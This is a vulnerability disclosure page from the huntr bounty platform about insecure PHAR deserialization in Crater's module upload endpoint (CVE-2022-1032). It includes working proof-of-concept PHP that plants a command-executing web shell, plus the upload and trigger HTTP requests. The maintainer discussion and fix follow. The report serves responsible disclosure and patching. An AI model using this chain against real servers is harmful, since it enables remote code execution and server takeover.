huntr

Insecure deserialization of not validated module file in crater-invoice/crater

1

✓ Valid Reported on Mar 11th 2022

Description

In recent Crater version (18507ddb tag: 6.0.6) highly privileged user can upload malicious module file and run insecure deserialization, which can lead to remote code execution.

Proof of Concept

Prepare PHAR file -> `php --define phar.readonly=0 phar.php`

```php
<?php

class AnyClass {
    public $data = null;
    public function __construct($data) {
        $this->data = $data;
    }

    function __destruct() {
        file_put_contents("public/webshell.php", '<?=`$_GET[1]`?>');
    }
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('ASDF');
```

```
$phar->setMetadata($object);
$phar->stopBuffering();
```

Upload it

```
POST /api/v1/modules/upload HTTP/1.1
Host: 172.17.0.1:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:99.0) Gecko/20100101 Firefo
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
company: 1
X-XSRF-TOKEN: eyJpdiI6ImxuUkV3ejh4bENjcEJ6c0NZOWN0MFE9PSIsInZhbHVlIjoiT0Ji
Content-Type: multipart/form-data; boundary=---------------------------529
Content-Length: 544
Origin: http://172.17.0.1:8888
DNT: 1
Connection: close
Referer: http://172.17.0.1:8888/admin/settings/account-settings
Cookie: ...

-----------------------------529360958258985318316210688332
Content-Disposition: form-data; name="avatar"; filename="file.jpg"
Content-Type: image/jpeg

<PHAR_FILE_CONTENT>
-----------------------------529360958258985318316210688332
Content-Disposition: form-data; name="module"
Content-Type: image/jpeg

phar.phar
-----------------------------529360958258985318316210688332--
```

In response You'll get uploaded file path

```
"temp-92cc0d1538d90f45a1be483a90b72915\/phar.phar.zip"
```

Run It

```
POST /api/v1/modules/unzip HTTP/1.1
Host: 172.17.0.1:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:99.0) Gecko/20100101 Firefo
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
company: 1
Content-Type: application/json;charset=utf-8
X-XSRF-TOKEN: eyJpdiI6IkhFZXM0eEJuY3hCZCtIWlRqMFJySFE9PSIsInZhbHVlIjoiU29P
Content-Length: 96
Origin: http://172.17.0.1:8888
DNT: 1
Connection: close
Referer: http://172.17.0.1:8888/admin/users/create
Cookie: ...

{"module":"ASDF","path":"phar://../storage/temp-92cc0d1538d90f45a1be483a90
```

Visit http://172.17.0.1:8888/webshell.php?1=id

Impact

This vulnerability is high and leads to code execution

Occurrences

UploadModuleController.php L17

References

- https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Uplo
- https://owasp.org/www-project-top-ten/2017/A8_2017-Insecure_Deseria

CVE

CVE-2022-1032
(Published)

Vulnerability Type

CWE-502: Deserialization of Untrusted Data

Severity

High (7.2)

Visibility

Public

Status

Fixed

Found by

theworstcomrade

@theworstcomrade

unranked

Fixed by

theworstcomrade

@theworstcomrade

unranked

This report was seen 552 times.

We are processing your report and will contact the **crater-invoice/crater** team within 24 hours.
9 months ago

We have contacted a member of the **crater-invoice/crater** team and are waiting to hear back
8 months ago

We have sent a follow up to the **crater-invoice/crater** team. We will try again in 7 days.
8 months ago

Mohit Panjwani 8 months ago Maintainer

Hey, thanks for the report but I don't get this one. This endpoint can only be
company owner.

Chat with us

If someone has access to the company user, he can also delete the whole company and related data with it.

Mohit Panjwani 8 months ago Maintainer

Nevermind what I said before. I think I understood how this could be used to upload malicious code on the server.

Mohit Panjwani validated this vulnerability 8 months ago

theworstcomrade has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

theworstcomrade 8 months ago Researcher

@mohitpanjwani thanks for your reply. When determining the risk, I indicated that high requirements are required. I also wrote it in the report description.
The attacker in this situation must be able to access the owner account as stated. The question is whether the account owner should be able to access the server from the application.
From my point of view, there should be no such possibility, and in the vulnerability described by me it is so.

In short, someone can take over the owner's account (phishing or bruteforce) and then execute any command on the server due to this vulnerability.

theworstcomrade submitted a patch 8 months ago

theworstcomrade 8 months ago Researcher

@mohitpanjwani here you have a patch https://github.com/crater-invoice/crater/pull/857

We have sent a fix follow up to the crater-invoice/crater team. We will try again in 7 days.
8 months ago

Mohit Panjwani marked this as fixed in 6.0.6 with commit 7cde97 8 months ago

theworstcomrade has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Chat with us

UploadModuleController.php#L17 has been validated ✓

Sign in to join this conversation

huntr

home

hacktivity

leaderboard

FAQ

contact us

terms

privacy policy

part of 418sec

company

about

team

Chat with us